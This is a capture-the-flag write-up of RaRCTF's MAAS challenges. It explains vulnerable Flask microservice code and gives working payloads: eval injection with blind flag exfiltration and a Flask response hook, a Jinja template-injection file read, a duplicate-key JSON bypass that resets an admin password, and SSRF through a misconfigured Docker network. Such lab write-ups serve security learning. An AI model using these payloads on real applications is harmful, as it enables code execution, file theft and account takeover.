It’s been a while since I last played in any CTF, and somehow I ended up playing in 3 concurrent CTFs last weekend – BSides Noida CTF, Defcon Cloud Village CTF, and RarCTF. I ended up working on and solving ~15 challenges total! :exploding_head:

Here’s a summary of the CTF results:

It was a great team effort in achieving such results :)

In this writeup, I will focus solely on the Microservices As A Service (MAAS) challenge from RaRCTF.

Introduction

Microservices As A Service (MAAS) is designed to be a 3-part challenge, but 2 additional parts were added during the competition to (somewhat) address the unintended solutions. Since there is an official writeup, I will only discuss the intended solutions and alternative solutions here.

MAAS consists of 3 microservices – Calculator, Notes, and Manager. The mapping of challenges and microservices are as follows:

  • MAAS 1 - Calculator
  • MAAS 2 - Notes
  • MAAS 2.5 - Notes (Fix for MAAS2)
  • MAAS 3 - Manager
  • MAAS 3.5 - Manager (Fix for MAAS3)

MAAS 1 - Calculator

Let’s jump straight to the source code for the calculator microservice:

@app.route('/arithmetic', methods=["POST"])
def arithmetic():
    if request.form.get('add'):
        r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('sub'):
        r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('div'):
        r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('mul'):
        r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    result = r.json()
    res = result.get('result')
    if not res:
        return str(result.get('error'))
    try:
        res_type = type(eval(res, builtins.__dict__, {})))
        if res_type is int or res_type is float:
            return str(res)
        else:
            return "Result is not a number"
    except NameError:
        return "Result is invalid"

Clearly, having some user-controlled input to eval() allows execution of arbitrary code and leaking of the flag. The /add endpoint simply returns the concatenation of n1 and n2 parameters as strings, allowing us pass a user-controlled input to eval().

If we want to leak the flag directly, we could replace res local variable with the flag such that when the microservice returns the result to the frontend app, we are able to see the flag. However, notice that for the eval(), globals were restricted to builtins.__dict__, and we are unable to access local variables as well.

With access to builtins, we can import arbitrary Python modules using __import__("package_name") and read arbitrary files using open("filename", "r").read(). This allows for a blind exfiltration of the flag, either using a boolean-based (e.g. comparison) or time-based (e.g. using time.sleep()) technique.

A time-based blind exfiltration of the flag can be performed by ensuring that the following string is passed to eval():

exec('''
sleep = __import__("time").sleep
flag = open("/flag.txt", "r").read()
current_char = flag[0] # replace index accordingly
sleep(ord(current_char))
''')

Or, you can also using a comparison-based method to leak characters of the flag one-by-one in the reference solution:

1 if open('/flag.txt', 'r').read()[0] == 'r' else None

But, such blind exfiltration techniques are pretty slow and sometimes unreliable, so let’s just leak the entire flag directly. One possible way to do so is to add a @app.after_request handler to the microservice, intercepting our response and adding the flag to our request.

Here’s an example of how we would have written the code if we were to implement such a handler in the application directly:

@app.after_request
def after_request_func(response):
    if b"res must contain this secret sentence to get flag :)" in response.data:
        response.data = open("/flag.txt","r").read()
    return response

Since we do not have access to global variables, we need to obtain a reference of the app somehow. We can easily get a reference to the current Flask app via flask.current_app.

Putting everything together, this was the payload I used to get the flag:

n1:
[1337,exec('app = __import__("flask").current_app\n@app.after_request\ndef after_request_func(response):\n    if b"res must contain this secret sentence to get flag :)" in response.data:\n        response.data = open("/flag.txt","r").read()\n    return response')]

n2:
[0]

Flag: rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}

MAAS 2 - Notes

Below is the relevant vulnerable code for the notes backend microservice:

@app.route('/useraction', methods=["POST"])
def useraction():
    mode = request.form.get("mode")
    username = request.form.get("username")
    if mode == "register":
    ...
    elif mode == "bioadd":
        bio = request.form.get("bio")
        bio.replace(".", "").replace("_", "").\
            replace("{", "").replace("}", "").\
            replace("(", "").replace(")", "").\
            replace("|", "")

        bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'', bio)
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        requests.post(f"http://redis_userdata:5000/bio/{port}", json={
            "bio": bio
        })
        return ""
    elif mode == "bioget":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        r = requests.get(f"http://redis_userdata:5000/bio/{port}")
        return r.text
    ...

@app.route("/render", methods=["POST"])
def render_bio():
    data = request.json.get('data')
    if data is None:
        data = {}
    return render_template_string(request.json.get('bio'), data=data)

Here, we can see that there’s a server-side template injection (SSTI) vulnerability in /render, where we can render the bio of a user. However, we cannot reach this endpoint directly – we can only access this endpoint through the frontend application, which calls /useraction with bioget mode to fetch the user’s bio and then rendering it via /render.

Interestingly, the denylist implementation in bioadd mode is flawed:

bio = request.form.get("bio")
bio.replace(".", "").replace("_", "").\
    replace("{", "").replace("}", "").\
    replace("(", "").replace(")", "").\
    replace("|", "")

Notice that the resulting string after replacing the banned characters is not actually being assigned to bio. This means that we can use any SSTI payloads directly to achieve RCE/arbitrary file read to leak the flag!

To get the flag, we can simply register a user and then update the user’s bio with the following SSTI payload:

{{ _.__eq__.__func__.__globals__.__builtins__.open('/flag.txt').read() }}

Flag: rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}

MAAS 2.5 - Notes (Fixed)

Of course, the above solution was an unintended one. The fix was to assign the resulting replacement string back to bio variable.

I actually solved MAAS 2 with the intended solution for MAAS 2.5 before realising the mistake in the bioadd implementation. :man_facepalming:

The only redeeming factor was that I got a first blood :drop_of_blood: on this challenge! :rofl:

The solution I got for this fixed challenge is as per the reference solution – using the Redis migration to override the port of our user to ../bio/ so that we can override the server-side request path to put the SSTI payload in the bio when adding a new key following the migration.

Flag: rarctf{.replace()_1s_n0t_1n_pl4c3...e8d54d13}

MAAS 3 - Manager

Below is the relevant vulnerable code for the app frontend:

@app.route("/manager/update", methods=["POST"])
def manager_update():
    schema = {"type": "object",
              "properties": {
                  "id": {
                      "type": "number",
                      "minimum": int(session['managerid'])
                  },
                  "password": {
                      "type": "string",
                      "minLength": 10
                  }
              }}
    try:
        jsonschema.validate(request.json, schema)
    except jsonschema.exceptions.ValidationError:
        return jsonify({"error": f"Invalid data provided"})
    return jsonify(requests.post("http://manager:5000/update",
                                 data=request.get_data()).json())

The manager backend microservice then relays the JSON data to a Golang backend service.

@app.route("/update", methods=["POST"])
def update():
    return jsonify(requests.post("http://manager_updater:8080/",
                                 data=request.get_data()).json())

It can be seen that the request.get_data() (i.e. the raw request body) instead of request.json (i.e. the parsed JSON object) is being passed to the backend Golang backend service instead. If you have read BishopFox Labs’ article on JSON interoperability vulnerabilities, you will recognise that this can easily introduce inconsistencies in parsing JSON, which leads to unintended behaviours in application flows. In Flask, the parsing of request body as JSON ignores duplicated keys, keeping the last value in the resulting JSON object. But, in the Golang backend service using buger/jsonparser, the first value is returned instead.

If our manager ID is 2, we can send a POST request to /manager/update with the following request body:

{"id":0,"id":2,"password":"some_difficult_password_that_is_hard_for_others_to_guess"}

This bypasses the frontend validation, which sees that the minimum ID value accepted is the last id value – 2. But, on the Golang backend service, it updates the password for manager ID 0 instead!

As a result, we can simply log in as admin with the password we set above to obtain the flag.

Flag: rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}

MAAS 3.5 - Manager (Fixed)

Naturally, the above solution was the intended solution, so copy-pasting the same solution from above works for MAAS 3.5.

Sadly, this challenge was pretty much broken even after the fixed version was released. They simply shifted the JSON validation checks from the app frontend to the manager backend service, but that didn’t fully prevent unintended solutions either.

So what went wrong? Well, looking at the docker-compose.yml file provided, it can be observed that network segregation is not done correctly:

version: "3.3"
services:
  app:
    build: app
    ports:
      - "5000:5000"
    depends_on: ["calculator", "notes", "manager"]
    networks:
      - public
      - level-1

  calculator:
    build: calculator
    depends_on: ["checkers", "arithmetic"]
    networks:
      - level-1
      - calculator-net
  checkers:
    build: calculator/checkers
    networks:
      - calculator-net
  arithmetic:
    build: calculator/arithmetic
    networks:
      - calculator-net

  notes:
    build: notes
    depends_on: ["redis_users", "redis_userdata"]
    networks:
      - level-1
      - notes-net
  redis_users:
    image: library/redis:latest
    networks:
      - notes-net
  redis_userdata:
    build: notes/redis_userdata
    networks:
      - notes-net

  manager:
    build: manager
    depends_on: ["manager_users", "manager_updater"]
    networks:
      - level-1
      - manager-net
  manager_users:
    image: library/redis:latest
    networks:
      - manager-net
  manager_updater:
    build: manager/updater
    networks:
      - level-1
      - manager-net

networks:
    public:
        driver: bridge
    level-1:
        driver: bridge
        internal: true
    calculator-net:
        driver: bridge
        internal: true
    notes-net:
      driver: bridge
      internal: true
    manager-net:
      driver: bridge
      internal: true

Notice that the manager_updater Golang service is in both manager-net and level-1 networks. Since calculator and notes are also in level-1 network, we can leverage the arbitrary code execution in calculator or SSTI in notes microservice to perform SSRF, allowing us to perform password update on the admin account using the manager_updater Golang service.

This unintended solution works even with the fixed version of manager, so you didn’t need to know about the JSON interoperability vulnerabilities and could still solve it anyways. :joy:

We can simply use the eval() RCE in calculator microservice to change the admin password, and then log in as admin with the password set to obtain the flag:

[1337,exec('''__import__("requests").post("http://manager_updater:8080/",data='{"id":0,"password":"some_difficult_password_that_is_hard_for_others_to_guess"}')''')][0]

Flag: rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}